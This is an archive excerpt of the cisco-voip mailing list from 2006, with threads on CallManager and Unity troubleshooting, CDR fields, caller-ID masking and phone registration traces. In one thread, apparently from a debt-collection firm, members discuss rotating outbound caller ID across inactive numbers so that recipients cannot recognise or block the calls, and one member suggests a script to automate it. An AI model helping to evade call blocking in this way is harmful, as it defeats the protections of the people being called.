Message-ID: <a1b07ea60602091052j4a8772cai29ea321dba2d2adf@mail.gmail.com>

This is slightly off topic, and hopefully does not violate any rules I have
not read.   But looking to see if anyone on the list is in Louisiana and if
so would you be interested in helping form or participate in a Cisco Users
Group.

Putting it all together now, website is up:  http://www.lacug.com

Now looking to get others involved.  As the site says we kinda need
everything now.  Cisco employee contacts in Louisiana who might wish to
help, sponsors, presenters, and the most important of all participants.

If you know anyone pass the word.  The more the merrier.
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From jgrace at digitelusa.net  Thu Feb  9 13:55:09 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb  9 13:55:53 2006
Subject: [cisco-voip] unity pickup delay 
Message-ID: <200602091355.AA328663322@mail.digitelusa.net>

we have a unity box that have a delay 2 to 6 ring before it picks up.  this is when it comes or transfered from cm.  even when you press the mailbox button on the ip phone, it will ring 2 to 6 times before unity messaging system picks up 
---



From newlook110 at yahoo.com  Thu Feb  9 14:07:13 2006
From: newlook110 at yahoo.com (new look)
Date: Thu Feb  9 14:07:21 2006
Subject: [cisco-voip] what steps to enable CDR Bills Reporting 
Message-ID: <20060209190713.12105.qmail@web61321.mail.yahoo.com>

Dear all,
  Could you help me to configure the CCM 4.1 to enable the CDR reports and Bills
  Thanks
   

		
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From wsisk at cisco.com  Thu Feb  9 15:44:51 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 15:45:06 2006
Subject: [cisco-voip] Another CDR question :)
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1365@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1365@VISHNU.wesd.org>
Message-ID: <43EBA9C3.6040102@cisco.com>

At that point it depends on the types of endpoints in use.  We had this 
problem with both PRI and t1-cas integrations, both of which are fixed 
in everything recent.

Scott - are you talking about your 'interesting' QSIG transfer scenario?

/Wes

Voll, Scott wrote:
> Is there any way to fix that?
>
> I have multiple issues with a PBX integration that it doesn't send DTMF
> without the Connect message.  Any way to push the connect through?
>
> Thanks
>
> Scott
>
> PS.  Thanks Ed for letting me high jack your thread. ;-)
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ryan Ratliff
> Sent: Wednesday, February 08, 2006 7:39 AM
> To: Ed Leatherman
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Another CDR question :)
>
> Many IVRs will not actually put the call into a Connected state until  
> you reach an agent.  Also happens with carriers that ask you for a  
> pin when dialing long distance, etc.
>
> I think Amex was one that generated a ton of cases back in the day  
> because of dtmf issues when the voice path was established but the  
> call wasn't yet connected.
>
> -Ryan
>
> On Feb 8, 2006, at 10:32 AM, Ed Leatherman wrote:
>
> Was looking through some CDRs to dig up some stats on a disputed long  
> distance call.. Happened to notice there were a number of calls that  
> had a dateTimeOrigination that was normal, a dateTimeConnect which  
> was 0, and a dateTimeDisconnect that was normal and anywhere from 3  
> to 20 sec later than the Origination Time. Does this mean the call  
> failed to connect? duration on all those calls is also 0. the  
> dateTimeConnect has me a little puzzled.
>
>   


From wsisk at cisco.com  Thu Feb  9 15:50:36 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 15:50:47 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <20060209131600.53126.qmail@web34309.mail.mud.yahoo.com>
References: <20060209131600.53126.qmail@web34309.mail.mud.yahoo.com>
Message-ID: <43EBAB1C.1030008@cisco.com>

it's configurable
1.on the route pattern
2. where the route gruop is made a member of the route list
3. on the gateway.

check all of those.  there is a slim chance the PSTN is not honoring the 
setting.  all you can do to validate that is use q931 translator to look 
at the outbound SETUP from CM.  the privacy bits are part of the called 
party number and q931 translator decodes nicely.

/Wes

Erick Bergquist wrote:
> Have a situation where have a few 9*67.xxxxxxx route
> patterns and the external party mask is unchecked, and
> calling line presentation is set to restricted on RP.
> Route detail is set to default as well as gateway/MGCP
> endpoint. But when calls go out the outside caller is
> seeing the calling party number still. 
>
> The gateway is a 6608. Anyone know what to look for in
> the traces to verify the call is going out as
> restricted? These *67 patterns used to work in past
> I'm being told. 
>
> If you prefix *67 on called party number so it goes
> out PRI with *67 the call fails. 
>
> thanks
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around 
> http://mail.yahoo.com 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From wsisk at cisco.com  Thu Feb  9 16:39:45 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 16:39:57 2006
Subject: [cisco-voip] IPCC/AA/IVR CD message
In-Reply-To: <E0EF33751DEA634DA817A51024A8E3F205B508C2@usa0300ms01.na.xerox.net>
References: <E0EF33751DEA634DA817A51024A8E3F205B508C2@usa0300ms01.na.xerox.net>
Message-ID: <43EBB6A1.5080303@cisco.com>

we flipped SQL authentication off to lockdown the server. the fewer 
possible ways to login, the more secure the server.

also SQL logins don't do password aging, max attemped logins, etc.  so 
they are bit more insecure.

to meet DISA STIGs you need these controls.

/Wes

DeRooy, Aaron H wrote:
> Get this message when I put the CD in the CCM publisher drive and it
> starts to install:
>
> Install Wizard:
>
> Local SQL Server/MSDE Login Mode must be changed
> to Mixed Mode. Do you want to change it to Mixed Mode now?
>
> YES     NO
>
>
> CCM version is 4.1(2a). Any reason I shouldn't say YES to this? It
> defaults to NO. 
>
>
>
>
> Aaron H. DeRooy 
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From wsisk at cisco.com  Thu Feb  9 16:43:49 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 16:44:01 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
In-Reply-To: <000601c62cff$f7dce790$4002a8c0@Test1>
References: <000601c62cff$f7dce790$4002a8c0@Test1>
Message-ID: <43EBB795.5090608@cisco.com>

are your CCM traces turned up to detailed? what model phones are these?

C:\Program Files\Cisco\Trace\CCM>findstr Last= ccm*.txt
ccm00000008.txt:02/07/2006 05:34:52.594 CCM|StationInit: (0000000) 
alarmSeverity=2 text="1
4: Name=SEP00146947E9AC Load= 7.0(2SR1.0) Last=CM-closed-TCP" parm1=0(0) 
parm2=0(0).|<CLID
::EVOICE-R5-CM1-Cluster><NID::172.18.110.96><CT::1,100,119,1.315791><IP::14.48.40.138><DEV
::>

/Wes

Jose Robles wrote:
>
> Here is what it says for the re-registers for one of the devices. 
> There is nothing with the ?last? keyword. Hope this helps. Thanks all.
>
> 02/05/2006 20:25:17.802 CCM|DeviceUnregistered - Device unregistered. 
> Device name.:SEP0012D9845906 Device IP address.:172.16.25.11 Device 
> type. [Optional]:7 Device description [Optional].:HelpDesk - Desc 
> Reason Code [Optional].:9 App ID:Cisco CallManager Cluster 
> ID:OGP19022B-Cluster Node 
> ID:172.17.1.11|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::AlarmSEP0012D9845906><DEV::SEP0012D9845906>
>
> 02/05/2006 20:25:17.817 CCM|Socket Broken. DeviceName=Unknown, TCPPid 
> = [2.100.132.8876], IPAddr=Unknown IP Address, Port=0x0, Device 
> Controller=[0,0,0]|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::2,100,132,8876.1><IP::><DEV::>
>
> 02/05/2006 20:25:54.365 CCM|LineControl(8930) - registered with 
> Duplicate DeviceName SEP0012D9845906, force the device to do the 
> reregister: single device 
> case|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::1,100,119,1.5012886><IP::172.16.25.11><DEV::SEP0012D9845906>
>
> 02/05/2006 20:25:54.365 CCM|LineControl(8931) - registered with 
> Duplicate DeviceName SEP0012D9845906, force the device to do the 
> reregister: single device 
> case|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::1,100,119,1.5012886><IP::172.16.25.11><DEV::SEP0012D9845906>
>
> -----Original Message-----
> *From:* Ed Leatherman [mailto:ealeatherman at gmail.com]
> *Sent:* Wednesday, February 08, 2006 6:21 PM
> *To:* Wes Sisk
> *Cc:* Jose Robles; cisco-voip at puck.nether.net
> *Subject:* Re: [cisco-voip] IP Phones unregisters at the same time CCM 
> 4.1(3)sr1
>
> I see large groups of resets sometimes during odd hours that are DHCP 
> leases expiring or some such similar.
>
> On 2/8/06, *Wes Sisk* < wsisk at cisco.com <mailto:wsisk at cisco.com>> wrote:
>
> 8 = device initiated reset, but CM cannot be trusted in these matters.
> it only reports what it perceives to be the problem.
>
> the phone reports what it believes to be the problem in the ALARM
> message in the CCM traces when it re-registers to CM, either the primary
> CM or the backup CM.
>
> 1. open cmd prompt
> 2. "cd \prog*\cisco\trace\ccm"
> 3. findstr Last= ccm*.txt >last.txt
> 4. notepad last.txt
>
> The text after the word "last" is the phone's point of view of why it
> unregistered. It is usually more informative (31 possible values as
> opposed to 12 possible for CM).
>
> Why does the phone say it unregistered?
>
> Jose Robles wrote:
> >
> > I have an isue using CM 4.1.3 (sr1). 19 Ip Phones 7960 unregisters many
> > of them at the same time. Ussually at 4pm or 5pm or later when there
> > is not much activity at the site. I've seen this problem in another
> > forum people complaining with the same situation. This are the Reason
> > code 8 events in the event viewer and in the CCM Trace folder log:
> >
> >
> > 02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered.
> > Device name.:SEP0013193E52AB Device IP address.: 172.16.x.x Device
> > type. [Optional]:7 Device description [Optional].:Description Phone
> > Reason Code [Optional].:8 App ID:Cisco CallManager Cluster
> > ID:1902-Cluster Node
> > ID:172.17.x.x|<CLID::1902-Cluster><NID:: 
> 172.17.x.x><CT::AlarmSEP0013193E52AB><DEV::SEP0013193E52AB>
> >
> >
> >
> > The description for Event ID ( 3 ) in Source ( Cisco CallManager )
> > cannot be found. The local computer may not have the necessary
> > registry information or message DLL files to display messages from a
> > remote computer. You may be able to use the /AUXSOURCE= flag to
> > retrieve this description; see Help and Support for details. The
> > following information is part of the event: DeviceUnregistered -
> > Device unregistered.
> > Device name.: SEP0012D9B95154
> > Device IP address.: 172.17.x.x
> > Device type. [Optional]: 7
> > Device description [Optional].: Sistemas
> > Reason Code [Optional].: 8
> > App ID: Cisco CallManager
> > Cluster ID: 1902-Cluster
> > Node ID: 172.17.x.x
> > Explanation: A device that has previously registered with Cisco
> > CallManager has unregistered. This event may be issued as part of
> > normal unregistration event or due to some other reason such as loss
> > of keepalives.
> > Recommended Action: No action is required if unregistration of this
> > device was expected..
> >
> >
> > I think we are hitting a bug in 4.1.3 sr1. Any ideas?
> >
> > Thanks again,
> >
> > Jose A. Robles
> > Sr. Network Consultant
> > CCNP, CCDP
> > CQS Routing and Lan Switching Specialist
> > Netxar Technologies, Inc. - www.netxar.com <http://www.netxar.com> 
> <http://www.netxar.com>
> > 17 Ponce Street
> > San Juan, PR 00917
> > ph: +1 787 765 0058 x2015
> > fax: +1 787 756 5362
> > cel: +1 787 547-0149
> > email jose.robles at netxar.com <mailto:jose.robles at netxar.com> 
> <mailto:jose.robles at netxar.com <mailto:jose.robles at netxar.com>>
> >
> > ------------------------------------------------------------------------
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net <mailto:cisco-voip at puck.nether.net>
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
>
> -- 
> Ed Leatherman
> IP Telephony Coordinator
> West Virginia University
> Telecommunications and Network Operations
>


From commo_ssg_31f at yahoo.com  Thu Feb  9 18:19:06 2006
From: commo_ssg_31f at yahoo.com (ash AD)
Date: Thu Feb  9 18:19:14 2006
Subject: [cisco-voip] call xfer problems (CME/CCM)
In-Reply-To: <43EBB795.5090608@cisco.com>
Message-ID: <20060209231906.24959.qmail@web50405.mail.yahoo.com>

 
  I am hoping someone has ran into this issue before. I have a Hub and Spoke VoIP network where my cental point is a CCM 4.1(3)sr2 cluster. Off each spoke are 2651XM routers running Cisco Advanced IP Services 12.4(5) IOS for CME 3.3 and VPN support. All CMEs point only to the hub CCM for outside access. I am having the following results with call transferring:
   
  Local CME to Local CME: works
  Local CME to CCM: fails
  Local CME to Remote CME (CCM Tandem): fails
   
  I am able to complete a tandem calls from CME router to CME router via the CME to CCM ISTs. All CME router have local transcoding and use G.729 across the WAN. The CCM ISTs have CCM software MTPs assigned. If we route the calls directly CME to CME via H.323 dial-peers we are able to transfer CME to CME calls. We added the  the voice sevrice voip <cr> allow-connections h323 to h323 <cr> supplimentary-service h450.12. 
   
  Thanks, 
  PETER CASANAVE
  3d SIG BDE, Network Engineer

		
---------------------------------
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From it at cimgroup.com  Thu Feb  9 19:04:04 2006
From: it at cimgroup.com (IT)
Date: Thu Feb  9 18:59:38 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
Message-ID: <B487D4C1FE6D04439061018C6EBC109B029E4636@exchange.cimgroup.com>

We are going this route, but instead of using BAT, we wrote a nice
little SQL query, since we have several different prefixes. We'll see
how it goes...

-----Original Message-----
From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Thursday, February 09, 2006 8:21 AM
To: IT; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] route patterns/callerid mask/callforward

What's wrong with using BAT like Ryan stated and changing all the phones
mask to the 323860XXXX mask.

Shouldn't be a big nightmare.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of IT
Sent: Wednesday, February 08, 2006 1:45 PM
To: Justin Steinberg; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] route patterns/callerid mask/callforward

But that wont fix the problem. I want to see the actual callers
caller-id. The original callers cell phone number will now be covered up
by the telco with my companies main number. Many people here forward all
their calls to their cellphone, and this basically eliminates caller-id
for them...

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Wednesday, February 08, 2006 1:27 PM
To: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] route patterns/callerid mask/callforward

A really easy fix for this problem is to call your Telco and request a
'screening range'.

They can populate a screening range with all the DIDs on your PRI. 
Then whenever an outbound call is placed from your site the Telco
checks the ANI that CallManager is sending.  If the ANI is a valid DID
then it is passed without modification.  If the ANI is something
outside of your DID range then the telco overwrites your ANI with your
main phone number.

All the major telco's I've dealt with support the screening range
concept in one way or the other.

Of course, a side effect of this problem is you can no longer prank
your friends - and other legitimate things such as wanting to send out
a toll-free number as your ANI.

Justin


> Date: Wed, 8 Feb 2006 15:50:09 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] route patterns/callerid mask/callforward
> To: "IT" <it at cimgroup.com>, <cisco-voip at puck.nether.net>
> Message-ID: <00c701c62cf1$41208ab0$30196883 at cfs.uoguelph.ca>
> Content-Type: text/plain; charset="iso-8859-1"
>
> So you're saying that if I forward my phone offcampus to a phone that
has call display, what I see on the other side depends on whether I use
the phones external calling mask or the route pattern mask? I don't use
wildcards, I simply populate the field with our main number. If I have
the external mask set per phone, I will see the original caller's
number, but if I use the mask on the RP I will see my main number?
>
>
------------------------------------------------------------------------
--------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more
jitter than an
> IP phone on a long haul 10base2 connection"
LFJ
>  ----- Original Message -----
>  From: IT
>  To: cisco-voip at puck.nether.net
>  Sent: Wednesday, February 08, 2006 3:40 PM
>  Subject: [cisco-voip] route patterns/callerid mask/callforward
>
>
>  Here is my dilemma.
>  All the phones in my callmanager 4.0 setup do not have "external
phone
>  number mask" setup.  Instead, I have put the number mask in to the
>  translation pattern for outbound calling. For example.
>  My extension is 4990
>  I dial a call that matches the 8.@ route pattern, and the call gets
>  routed out the PRI Gateway, and the pattern applies the "Calling
Party
>  Transform Mask" of 323860XXXX
>  This results in the caller-id showing up as 323-860-4990. Perfect.
>  Now here are the problems with this solution. If I enable
callforwarding
>  on my phone (sending them to my cellphone), the caller-id gets messed
>  up. Here is why:
>  Let's say my friend at 310-833-5625 calls me on my cisco phone. The
call
>  hits the phone, but there is a CFwdAll set.
>  The call forwards to 813239438833 (my cell with the outgoing prefix
of
>  8).
>  When the call forwards, it runs through the route pattern 8.@
>  The call exits the PRI Gateway, and the Calling Party Transform Mask
>  applied is 323860XXXX.
>  The call reaches my cellphone, and the caller-id says 323-860-5625
>  So, only the last 4 digits are from the original callers phone
number,
>  and the rest are from the route pattern's transform mask.
>  Needless to say, this is a problem.
>
>  One solution I have found is to eliminate the "Calling Party
Transform
>  Mask" from all route patterns. Then, I add an "External Phone Number
>  Mask" to each and every line on my phone. This way, when I call out
from
>  my phone, the caller-id is correct, and calls forwarded through my
phone
>  retain their caller-id when they go through the route pattern. This
is a
>  serious maintenance nightmare, as I would have number mask's all over
>  the place. However, the upside of this route, is that the 2 people in
>  the office who want caller-id blocked on their outbound calls can do
>  so...(anyone know an easier way?)
>
>  I know other people have had to deal with this, but I cannot find the
>  answer in my archives of this mailing list.
>
>  Have you ever dealt with this, and do you have a solution that will
>  allow me to keep the number masks in the route pattern?
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Matt.Slaga at us.didata.com  Thu Feb  9 19:55:59 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Thu Feb  9 19:56:32 2006
Subject: [cisco-voip] Outbound Caller ID
Message-ID: <C1FE15183DA37645BC0633BC604E44F0E1E71D@USNAEXCH.na.didata.local>

This could very well be your Telco putting in the number when you try to
make it absent.  Many carriers do not allow 'unknown' to go out because
of legal implications. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Erick Bergquist
Sent: Wednesday, February 08, 2006 8:04 PM
To: Cisco Subscriber; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Outbound Caller ID


Why not restrict the calling party number on those route patterns so it
isn't presented? 

You could also get creative with the time of day feature. 

--- Cisco Subscriber <subs-cisco at cbvcollections.com>
wrote:

> We need to rotate them to avoid issues with called parties becoming 
> familiar with a single number and/or using call blocking services.
> Hint: "collections" in our domain name should tell you something.  ;-)
> 
> Anyone familiar with legislation regarding caller id in Canada?
> 
> -----Original Message-----
> From: Patrick Aland [mailto:paland at gmail.com]
> Sent: February 8, 2006 5:29 AM
> To: erickbe at yahoo.com
> Cc: Cisco Subscriber; cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Outbound Caller ID
> 
> A small script using AXL could probably rotate the numbers for you by 
> updating the external mask on the phones in a list.
> Out of curiosity, why do you want to rotate the number in the first 
> place?
> 
> On 2/8/06, Erick Bergquist <erickbe at yahoo.com>
> wrote:
> > I am not aware of a such an application to change
> the calling party
> > number/mask in call manager like that
> automatically.
> >
> > If the gateway were H.323 you could use existing
> scripting programs
> > available to manage router configs to modify
> translation-rules and
> > translation profiles.
> >
> >
> > --- Cisco Subscriber
> <subs-cisco at cbvcollections.com>
> > wrote:
> >
> > > Hi all...
> > >
> > > I've been tasked with looking into rotating our
> caller ID to
> > > different numbers.  I've contacted our provider
> and we should be
> > > able to set our caller id to any of the DIDs
> assigned to us.  That's
> 
> > > easy enough to do, we set aside a bank of
> reserved DIDs assigned to
> > > us (not active) and set that as the external
> phone mask for the sets
> 
> > > which require the 'fake'
> > > DID (it would be easier to set the caller ID on
> the gateway level
> > > but there are some extensions that require their
> actual DID to be
> > > displayed).
> > >
> > > Ideally I'd like to rotate our caller id amongst
> a pre-defined bank
> > > of numbers on a per call basis.  Currently I am
> limited to updating
> > > the external mask for the phones on a regular
> basis.
> > >
> > > I have some questions:
> > >  - Are there legal issues (in Canada) with
> displaying a caller id
> > > which is assigned to us, but not in service?
> > >  - Are there 3rd party programs that are able to
> rotate the outbound
> 
> > > caller id that interface with callmanager?


__________________________________________________
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Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com _______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip

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From erickbe at yahoo.com  Thu Feb  9 20:52:15 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb  9 20:52:24 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <43EBAB1C.1030008@cisco.com>
Message-ID: <20060210015215.29093.qmail@web34301.mail.mud.yahoo.com>

Yea, the route group/detail and gateway is set to
default and on route pattern is set to restricted, so
the settings on the route pattern should pass through
right? 

--- Wes Sisk <wsisk at cisco.com> wrote:

> it's configurable
> 1.on the route pattern
> 2. where the route gruop is made a member of the
> route list
> 3. on the gateway.
> 
> check all of those.  there is a slim chance the PSTN
> is not honoring the 
> setting.  all you can do to validate that is use
> q931 translator to look 
> at the outbound SETUP from CM.  the privacy bits are
> part of the called 
> party number and q931 translator decodes nicely.
> 
> /Wes
> 
> Erick Bergquist wrote:
> > Have a situation where have a few 9*67.xxxxxxx
> route
> > patterns and the external party mask is unchecked,
> and
> > calling line presentation is set to restricted on
> RP.
> > Route detail is set to default as well as
> gateway/MGCP
> > endpoint. But when calls go out the outside caller
> is
> > seeing the calling party number still. 
> >
> > The gateway is a 6608. Anyone know what to look
> for in
> > the traces to verify the call is going out as
> > restricted? These *67 patterns used to work in
> past
> > I'm being told. 
> >
> > If you prefix *67 on called party number so it
> goes
> > out PRI with *67 the call fails. 
> >
> > thanks
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> protection around 
> > http://mail.yahoo.com 
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> >
> https://puck.nether.net/mailman/listinfo/cisco-voip
> >   
> 
> 


__________________________________________________
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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From jgrace at digitelusa.net  Thu Feb  9 20:49:35 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb  9 20:56:25 2006
Subject: [cisco-voip] unity will not pick up 
Message-ID: <200602092055593.SM01568@3729434770>

Have anybody seen an issue where the unity server have a delay on ansering.

When we call unity from cm there is sometimes a 2 to 4 ring delay. Now is
most (all ) other unity install, when you hit the VM button I will pick up
instantly.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From pwalenta at wi.rr.com  Thu Feb  9 21:02:44 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Thu Feb  9 21:02:48 2006
Subject: [cisco-voip] unity will not pick up
In-Reply-To: <200602092055593.SM01568@3729434770>
Message-ID: <200602100202.k1A22hHu007624@ms-smtp-02.rdc-kc.rr.com>

Are all of your ports registered?


  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 09, 2006 7:50 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] unity will not pick up



Have anybody seen an issue where the unity server have a delay on ansering.

When we call unity from cm there is sometimes a 2 to 4 ring delay. Now is
most (all ) other unity install, when you hit the VM button I will pick up
instantly.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Brian.Henry at apptis.com  Thu Feb  9 21:03:50 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Thu Feb  9 21:06:21 2006
Subject: [cisco-voip] unity will not pick up 
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC0283809E@CH-EXCH-02.intelltech.apptis.inc>

Where does your Unity reside compared to CCM? Is it on another subnet, another site,etc..
 
What version of CCM?
What version of Unity?
What version of Unity TSP?
How many ports are configured?
How many users do you have inside your environment?
Are all ports used to answer calls or are some used for MWI only and how many?
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of James Grace
Sent: Thu 2/9/2006 8:49 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] unity will not pick up 



Have anybody seen an issue where the unity server have a delay on ansering.

When we call unity from cm there is sometimes a 2 to 4 ring delay. Now is most (all ) other unity install, when you hit the VM button I will pick up instantly.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Brian.Henry at apptis.com  Thu Feb  9 21:12:52 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Thu Feb  9 21:13:42 2006
Subject: [cisco-voip] unity will not pick up 
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC028380A1@CH-EXCH-02.intelltech.apptis.inc>

Look at this link to see if anything sounds familiar!
http://www.cisco.com/warp/public/788/AVVID/vmdisco30sec.html#nic_throughput
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of James Grace
Sent: Thu 2/9/2006 8:49 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] unity will not pick up 



Have anybody seen an issue where the unity server have a delay on ansering.

When we call unity from cm there is sometimes a 2 to 4 ring delay. Now is most (all ) other unity install, when you hit the VM button I will pick up instantly.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From wsisk at cisco.com  Thu Feb  9 21:34:09 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 21:34:43 2006
Subject: [cisco-voip] call xfer problems (CME/CCM)
In-Reply-To: <20060209231906.24959.qmail@web50405.mail.yahoo.com>
References: <20060209231906.24959.qmail@web50405.mail.yahoo.com>
Message-ID: <79C354E0-92DE-4F57-B73E-0E542A593D31@cisco.com>

Last I checked CM still did not support h.450 call transfer.
are you transfer destinations out of CME setup to allow transfer to  
the CM pattern?

/Wes
On Feb 9, 2006, at 6:19 PM, ash AD wrote:


I am hoping someone has ran into this issue before. I have a Hub and  
Spoke VoIP network where my cental point is a CCM 4.1(3)sr2 cluster.  
Off each spoke are 2651XM routers running Cisco Advanced IP Services  
12.4(5) IOS for CME 3.3 and VPN support. All CMEs point only to the  
hub CCM for outside access. I am having the following results with  
call transferring:

Local CME to Local CME: works
Local CME to CCM: fails
Local CME to Remote CME (CCM Tandem): fails

I am able to complete a tandem calls from CME router to CME router  
via the CME to CCM ISTs. All CME router have local transcoding and  
use G.729 across the WAN. The CCM ISTs have CCM software MTPs  
assigned. If we route the calls directly CME to CME via H.323 dial- 
peers we are able to transfer CME to CME calls. We added the  the  
voice sevrice voip <cr> allow-connections h323 to h323 <cr>  
supplimentary-! service h450.12.

Thanks,
PETER CASANAVE
3d SIG BDE, Network Engineer

Relax. Yahoo! Mail virus scanning helps detect nasty viruses!
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From wsisk at cisco.com  Thu Feb  9 21:29:11 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb  9 21:44:37 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <20060210015215.29093.qmail@web34301.mail.mud.yahoo.com>
References: <20060210015215.29093.qmail@web34301.mail.mud.yahoo.com>
Message-ID: <3EED7760-E83C-4648-810A-5CEDFDE35E8C@cisco.com>

yep.  look check the ccm trace with q931 translator to make sure  
we're setting it properly.

also might be worth a check with Dialed Number Analyzer to see what  
it says.

/Wes

On Feb 9, 2006, at 8:52 PM, Erick Bergquist wrote:

Yea, the route group/detail and gateway is set to
default and on route pattern is set to restricted, so
the settings on the route pattern should pass through
right?

--- Wes Sisk <wsisk at cisco.com> wrote:

> it's configurable
> 1.on the route pattern
> 2. where the route gruop is made a member of the
> route list
> 3. on the gateway.
>
> check all of those.  there is a slim chance the PSTN
> is not honoring the
> setting.  all you can do to validate that is use
> q931 translator to look
> at the outbound SETUP from CM.  the privacy bits are
> part of the called
> party number and q931 translator decodes nicely.
>
> /Wes
>
> Erick Bergquist wrote:
>> Have a situation where have a few 9*67.xxxxxxx
> route
>> patterns and the external party mask is unchecked,
> and
>> calling line presentation is set to restricted on
> RP.
>> Route detail is set to default as well as
> gateway/MGCP
>> endpoint. But when calls go out the outside caller
> is
>> seeing the calling party number still.
>>
>> The gateway is a 6608. Anyone know what to look
> for in
>> the traces to verify the call is going out as
>> restricted? These *67 patterns used to work in
> past
>> I'm being told.
>>
>> If you prefix *67 on called party number so it
> goes
>> out PRI with *67 the call fails.
>>
>> thanks
>>
>> __________________________________________________
>> Do You Yahoo!?
>> Tired of spam?  Yahoo! Mail has the best spam
> protection around
>> http://mail.yahoo.com
>> _______________________________________________
>> cisco-voip mailing list
>> cisco-voip at puck.nether.net
>>
> https://puck.nether.net/mailman/listinfo/cisco-voip
>>
>
>


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com


From erickbe at yahoo.com  Thu Feb  9 22:20:34 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb  9 22:20:43 2006
Subject: [cisco-voip] *67 route pattern with calling line set to restricted
In-Reply-To: <3EED7760-E83C-4648-810A-5CEDFDE35E8C@cisco.com>
Message-ID: <20060210032034.48810.qmail@web34307.mail.mud.yahoo.com>


I tried dna and the calling party info section showed
the right caling party but not show anything on
